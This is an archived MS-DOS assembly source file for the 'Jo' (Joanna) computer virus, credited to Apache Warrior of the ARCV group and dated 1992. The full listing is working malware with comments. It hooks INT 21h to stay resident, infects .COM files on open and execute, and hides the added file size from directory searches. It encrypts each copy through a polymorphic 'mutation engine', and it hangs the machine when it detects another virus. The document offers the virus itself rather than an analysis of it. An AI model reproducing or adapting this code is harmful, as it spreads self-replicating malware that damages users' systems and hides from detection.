home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-J.ZIP / JO_V111.ASM < prev    next >
Assembly Source File  |  1992-11-01  |  19KB  |  429 lines

  1.         NAME Jo
  2.         PAGE 55,132
  3.         TITLE Jo Virus.
  4.  
  5. ;
  6. ; This is Yet another virus from the ARCV, this one is called
  7. ; Joanna, it was written by Apache Warrior, ARCV President.
  8. ;
  9. ; It has Stealth features, it is a Resident infector of .COM files
  10. ; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for 
  11. ; its Polymorphic features.  There is a maximum of 3 unchanged bytes
  12. ; in the Encrypted code.
  13. ;
  14.  
  15. .model tiny
  16.  
  17. code segment
  18.  
  19.                 ASSUME CS:CODE,DS:CODE,ES:CODE
  20.  
  21. int_21ofs       equ 84h
  22. int_21seg       equ 86h
  23. length          equ offset handle-offset main
  24. msglen          equ offset oldstart-offset msg
  25. tsrlen          equ (offset findat-offset main)/10  
  26. len             equ offset handle-offset main
  27. virlen          equ (offset string-offset main2)/2
  28. decryptlen      equ offset main2-offset main
  29.  
  30.                 org 100h  
  31.  
  32. start:          jmp main
  33.                 db 0,0,0
  34.  
  35. main:           mov si,offset main2             ; SI offset for decrypt
  36.                 mov cx,virlen                   ; viri decrypt size
  37. loop_1:         
  38.                 db 2eh,81h,2ch                  ; decrypt
  39. switch:         dw 0
  40.                 add si,02h
  41.                 dec cx
  42.                 jnz loop_1
  43. main2:          call findoff                    ; find file ofset
  44. findoff:        pop si                          ; 
  45.                 sub si,offset findoff
  46.                 push ds
  47.                 push es
  48.                 push cs
  49.                 pop ds
  50.                 push cs
  51.                 pop es
  52.                 mov ax,0ff05h                   ; Test for Scythe2 Boot
  53.                 int 13h
  54.                 cmp ah,0e9h                     ; Check for Scythe2 Boot
  55.                 jnz haha                        ; no go on
  56.                 mov ah,09h                      ; Display message
  57.                 lea dx,[si+offset msg2] 
  58.                 int 21h 
  59.                 jmp $                           ; Crash the machine
  60. haha:           mov ah,2ah                      ; Date Test
  61.                 int 21h                         ;
  62.                 cmp dx,1210h                    ; Is month the Oct.
  63.                 jnz main3                       ; no go on
  64.                 mov ah,09h                      ; Display Message
  65.                 lea dx,[si+offset msg] 
  66.                 int 21h
  67.  
  68.  
  69. main3:          mov di,0100h                    ; move old programs
  70.                 push si                         ; start back to the start
  71.                 mov ax,offset oldstart          ;
  72.                 add si,ax                       ;
  73.                 mov cx,05h                      ;
  74.                 cld                             ;
  75.                 repz movsb                      ;
  76.  
  77. inst:           mov ax,0ffa4h                   ; check to see if already instaled
  78.                 int 21h
  79.                 pop si                          ; bring back si
  80.                 cmp ax,42a1h
  81.                 je oldprog                      ; Yes return to old program
  82.  
  83. tt2:            xor ax,ax                       ; Residency Routine
  84.                 push ax
  85.                 mov ax,ds                       ; Get MCB segment Address
  86.                 dec ax                          ; 
  87.                 mov es,ax                       ; Put MCB segment Address in es
  88.                 pop ds                          ; 
  89.                 mov ax,word ptr ds:int_21ofs    ; Load Int 21h address data
  90.                 mov cx,word ptr ds:int_21seg    ;
  91.                 mov word ptr cs:[si+int21],ax   ; Move Int 21h data to store
  92.                 mov word ptr cs:[si+int21+2],cx ;
  93.                 cmp byte ptr es:[0],5ah         ; Check for Start of MCB
  94.                 jne oldprog                     ; If no then quit
  95.                 mov ax,es:[3]                   ; Play with MCB to get top of 
  96.                 sub ax,0bch                     ; Memory and reserve 3,008 bytes
  97.                 jb  oldprog                     ; for Virus
  98.                 mov es:[3],ax                   ;
  99.                 sub word ptr es:[12h],0bch      ;
  100.                 mov es,es:[12h]                 ;
  101.                 push ds                         ;
  102.                 push cs                         ;
  103.                 pop ds                          ; Move Virus into Memory
  104.                 mov di,0100h                    ; space allocated above
  105.                 mov cx,len+5                    ;
  106.                 push si                         ;
  107.                 add si,0100h                    ;
  108.                 rep movsb                       ;
  109.                 pop si
  110.                 pop ds
  111.                 cli                             ; Stop Interrupts Very Inportant
  112.                 mov ax,offset new21             ; Load New Int 21h handler
  113.                 mov word ptr ds:int_21ofs,ax    ; address and store
  114.                 mov word ptr ds:int_21seg,es    ;
  115.                 sti                             ;
  116.  
  117. oldprog:        
  118.                 mov di,0100h                    ; Return to Orginal
  119.                 pop es                          ; Program..
  120.                 pop ds                          ;
  121.                 push di                         ;
  122.                 ret                             ;
  123.  
  124. int21           dd 0h                           ; Storage For Int 21h Address
  125.  
  126. ;
  127. ;   New interupt 21h Handler
  128. ;
  129.  
  130. sayitis:        mov ax,42a1h                    ; Install Check..
  131.                 iret 
  132.  
  133. new21:          ;nop                            ; Sign byte 
  134.                 cmp ax,0ffa4h                   ; Instalation Check
  135.                 je sayitis
  136.                 cmp ah,11h                      ; FCB Search file
  137.                 je adjust_FCB
  138.                 cmp ah,12h                      ; FCB Search Again
  139.                 je adjust_FCB
  140.                 cmp ah,4eh                      ; Handle Search file
  141.                 je adjust_FCB    
  142.                 cmp ah,4fh                      ; Handle Search Again
  143.                 je adjust_FCB
  144.                 cmp ah,3dh                      ; Are they opening a file?
  145.                 je intgo                        ; if no ignore
  146.                 cmp ah,4bh                      ; Exec Function
  147.                 jne noint 
  148. intgo:          push ax                         ; 4bh, 3dh Infect file
  149.                 push bx                         ; Handler save the Registers
  150.                 push cx
  151.                 push es
  152.                 push si
  153.                 push di
  154.                 push dx
  155.                 push ds
  156.                 call checkit                    ; Call infect routine
  157.                 pop ds
  158.                 pop dx
  159.                 pop di
  160.                 pop si
  161.                 pop es
  162.                 pop cx
  163.                 pop bx
  164.                 pop ax
  165. noint:          jmp cs:[int21]                  ; Return to Orginal Int 21h
  166.  
  167. adjust_FCB:     push es                         ; Stealth Routine
  168.                 push bx
  169.                 push si
  170.                 push ax
  171.                 xor si,si
  172.                 and ah,40h                      ; Check for handle Search
  173.                 jz okFCB
  174.                 mov si,1                        ; Set flag
  175. okFCB:          mov ah,2fh                      ; Get DTA Address
  176.                 int 21h 
  177.                 pop ax                          ; Restore ax to orginal function
  178.                 call i21                        ; value call it
  179.                 pushf                           ; save flags
  180.                 push ax                         ; save ax error code
  181.                 call adjust                     ; Call stealth adjust routine
  182.                 pop ax                          ; restore registers
  183.                 popf
  184.                 pop si
  185.                 pop bx
  186.                 pop es
  187.                 retf 2                          ; Return to caller
  188.  
  189. adjust:         pushf                           ; Stealth check routine
  190.                 cmp si,0                        ; Check flag set earlyer
  191.                 je fcb1
  192.                 popf
  193.                 jc repurn                       ; Check for Handle Search error
  194.                 mov ah,byte ptr es:[bx+16h]     ; No error then carry on
  195.                 and ah,01ah                     ; Check stealth stamp
  196.                 cmp ah,01ah                     ;
  197.                 jne repurn                      ; 
  198.                 sub word ptr es:[bx+1ah],len    ; Infected then take the viri size
  199. repurn:         ret                             ; from file size.
  200. fcb1:           popf                            ; Same again but for the FCB
  201.                 cmp al,0ffh
  202.                 je meat_hook   
  203.                 cmp byte ptr es:[bx],0ffh
  204.                 jne xx2
  205.                 add bx,7
  206. xx2:            mov ah,byte ptr es:[bx+17h]
  207.                 and ah,01ah
  208.                 cmp ah,01ah
  209.                 jne meat_hook
  210.                 sub word ptr es:[bx+1dh],len 
  211. meat_hook:      ret  
  212.  
  213. com_txt db 'COM',0                              ; 
  214.  
  215. reset:                                          ; File Attrib routines
  216.                 mov cx,20h  
  217. set_back:
  218.                 mov al,01h
  219. find_att:
  220.                 mov ah,43h                      ; Alter file attributes
  221. i21:            pushf
  222.                 call cs:[int21]
  223. exitsub:        ret   
  224.  
  225. checkit:                                        ; Infect routine
  226.                 push es                         ; Save some more registers
  227.                 push ds
  228.                 push ds                         ; Check to see if file is a 
  229.                 pop es                          ; .COM file if not then
  230.                 push dx                         ; quit..
  231.                 pop di                          ;
  232.                 mov cx,0ffh                     ; Find '.' in File Name
  233.                 mov al,'.'                      ;
  234.                 repnz scasb                     ;
  235.                 push cs                         ;
  236.                 pop ds                          ;
  237.                 mov si,offset com_txt           ; Compare with COM extension
  238.                 mov cx,3                        ;
  239.                 rep cmpsb                       ;
  240.                 pop ds                          ; Restore Reg...
  241.                 pop es                          ;
  242.                 jnz exitsub                     ;
  243.  
  244. foundtype:      sub di,06h                      ; Check for commaND.com
  245.                 cmp ds:[di],'DN'                ; Quit if found..
  246.                 je exitsub                      ;
  247.                 mov word ptr cs:[nameptr],dx    ; Save DS:DX pointer for later
  248.                 mov word ptr cs:[nameptr+2],ds  ;
  249.                 mov al,00h                      ; Find Attributes of file to infect
  250.                 call find_att                   ;
  251.                 jc exitsub                      ; Error Quit.
  252.  
  253. alteratr:       mov cs:[attrib],cx              ; Save them
  254.                 call reset                      ; Reset them to normal
  255.  
  256.                 mov ax,3d02h                    ; Open file
  257.                 call i21        
  258.                 jc exitsub                      ; Error Quit
  259.                 push cs                         ; Set DS to CS
  260.                 pop ds                          ;
  261.                 mov ds:[handle],ax              ; Store handle
  262.  
  263.                 mov ax,5700h                    ; Read file time and date
  264.                 mov bx,ds:[handle]              ;
  265.                 call i21                        ;
  266. ke9:            mov ds:[date],dx                ; Save DX
  267.                 or cx,1ah                       ; Set Stealth Stamp
  268.                 mov ds:[time],cx                ; Save CX
  269.                                                   
  270.                 mov ah,3fh                      ; Read in first 5 bytes
  271.                 mov cx,05h                      ; To save them
  272.                 mov dx,offset oldstart          ;
  273.                 call i21                        ;
  274. closeit:        jc close2                       ; Error Quit
  275.  
  276.                 mov ax,4202h                    ; Move filepointer to end
  277.                 mov cx,0ffffh                   ; -5 bytes offset from end
  278.                 mov dx,0fffbh                   ;
  279.                 call i21                        ;
  280.                 jc close                        ; Error Quit
  281.  
  282.                 mov word ptr cs:si_val,ax       ; Save File saize for later
  283.                 cmp ax,0ea60h                   ; See if too big
  284.                 jae close                       ; Yes then Quit
  285.  
  286.                 mov ah,3fh                      ; Read in last 5 bytes
  287.                 mov cx,05h                      ; 
  288.                 mov dx,offset tempmem           ; 
  289.                 call i21                        ; 
  290.                 jc close                        ; Error 
  291.  
  292.                 push cs                         ; Reset ES to CS
  293.                 pop es                          ;
  294.                 mov di,offset tempmem           ; Check if Already infected
  295.                 mov si,offset string            ;
  296.                 mov cx,5                        ;
  297.                 rep cmpsb                       ;
  298.                 jz close                        ; Yes the Close and Quit
  299.                                                  
  300. zapfile:                                        ; No Infect and Be Damned
  301.                 mov ax,word ptr cs:si_val       ; 
  302.                 add ax,2                        ;
  303.                 push cs                         ; 
  304.                 pop ds                          ; 
  305.                 mov word ptr ds:[jpover+1],ax   ; Setup new jump
  306.                 call mut_eng                    ; Call Mutation Engine
  307.                 mov ah,40h                      ; Save prog to end of file
  308.                 mov bx,cs:[handle]              ; Load Handle
  309.                 mov cx,length                   ; LENGTH OF PROGRAM****
  310.                 call i21                        ; Write away
  311. close2:         jc close                        ; Quit if error
  312.  
  313.                 push cs                         ; Reset DS to CS
  314.                 pop ds                          ;      
  315.                 mov ax,4200h                    ; Move File pointer to start
  316.                 xor cx,cx                       ; of file
  317.                 cwd                             ; Clever way to XOR DX,DX
  318.                 call i21                        ;
  319.                 jc close                        ; Error Quit..
  320.                                                  
  321.                 mov ah,40h                      ; Save new start 
  322.                 mov cx,03h                      ; 
  323.                 mov dx,offset jpover            ;
  324.                 call i21                        ;
  325.  
  326. close:          mov ax,5701h                    ; Restore Time and Date
  327.                 mov bx,ds:[handle]              ;
  328.                 mov cx,ds:[time]                ;
  329.                 mov dx,ds:[date]                ;
  330.                 call i21                        ;
  331.                 mov ah,3eh                      ; Close file 
  332.                 call i21                        ;
  333. exit_sub:       mov dx,word ptr [nameptr]       ; Reset Attributes to as they where
  334.                 mov cx,ds:[attrib]              ;
  335.                 mov ds,word ptr cs:[nameptr+2]  ;
  336.                 call set_back                   ;
  337.                 ret                             ; Return to INT 21h Handler
  338.  
  339.  
  340. ;
  341. ;               CyberTech Mutation Engine 
  342. ;
  343. ;               This is Version Two of the Mutation Engine 
  344. ;               Unlike others it is very much Virus Specific..  Works
  345. ;               Best on Resident Viruses..
  346. ;
  347. ;               To Call
  348. ;
  349. ;               si_val = File Size
  350. ;
  351. ;               Returns
  352. ;               DS:DX = Encrypted Virus Code, Use DS:DX pointer to
  353. ;                       Write From..
  354.  
  355.  
  356. mut_eng:
  357.                 mov ah,2ch                      ; Get Time
  358.                 call i21                        ;
  359.                 mov word ptr ds:[switch],dx     ; Use Sec./100th counter as key
  360.                 mov word ptr ds:[switch2+1],dx  ; Save to Decrypt and Encrypt
  361.                 mov ax,cs:[si_val]              ; Get file size
  362.                 mov dx,offset main2             ;
  363.                 add ax,dx                       ;
  364.                 mov word ptr [main+1],ax        ; Store to Decrypt offset
  365.                 xor byte ptr [loop_1+2],28h     ; Toggle Add/Sub
  366.                 xor byte ptr switch2,28h        ;       "
  367.                 push cs                         ; Reset Segment Regs.
  368.                 pop ds                          ;
  369.                 push cs                         ;
  370.                 pop ax                          ; Find Spare Segment
  371.                 sub ax,0bch                     ; and put in es
  372.                 mov es,ax                       ;
  373.                 mov si,offset main              ; Move Decrypt function
  374.                 mov di,0100h                    ;
  375.                 mov cx,decryptlen               ;
  376.                 rep movsb                       ;
  377.                 mov si,offset main2             ; Start the code encrypt
  378.                 mov cx,virlen                   ;
  379. loop_10:        lodsw                           ;
  380. switch2:        add ax,0000                     ;
  381.                 stosw                           ;
  382.                 loop loop_10                    ;
  383.                 mov si,offset string            ; move ID string to end
  384.                 mov cx,5                        ; new code
  385.                 rep movsb                       ;
  386.                 mov dx,0100h                    ; Set Registers to encrypted Virus
  387.                 push es                         ; Location
  388.                 pop ds                          ;
  389.                 ret                             ; Return
  390.  
  391. ; Data Section, contains Messages etc.
  392.  
  393.  
  394. ;               Little message to the Wife to Be..
  395.  
  396. msg             db 'Looking Good Slimline Joanna.',0dh,0ah
  397.                 db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah 
  398.                 db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah
  399.                 db '$'
  400.  
  401. msg2            db 'I Love You Joanna, Apache..',0dh,0ah,'$'
  402.  
  403. virus_name      db '[JO]',00h,                          ; Virus Name..
  404. author          db 'By Apache Warrior, ARCV Pres.'      ; Thats me..
  405. filler          dd 0h
  406.  
  407. oldstart:       mov ax,4c00h                    ; Orginal program start
  408.                 int 21h
  409.                 nop
  410.                 nop
  411.  
  412. j100h           dd 0100h                        ; Stores for jumps etc
  413. jpover          db 0e9h,00,00h                  ;
  414.  
  415. string          db '65fd3'                      ; ID String 
  416.  
  417. :heap                                           ; This code is not saved 
  418. handle          dw 0h
  419. nameptr         dd 0h
  420. attrib          dw 0h
  421. date            dw 0h
  422. time            dw 0h
  423. tempmem         db 10h dup (?)
  424. findat          db 0h
  425. si_val          dw 0h
  426.  
  427. code ends
  428.  
  429. end start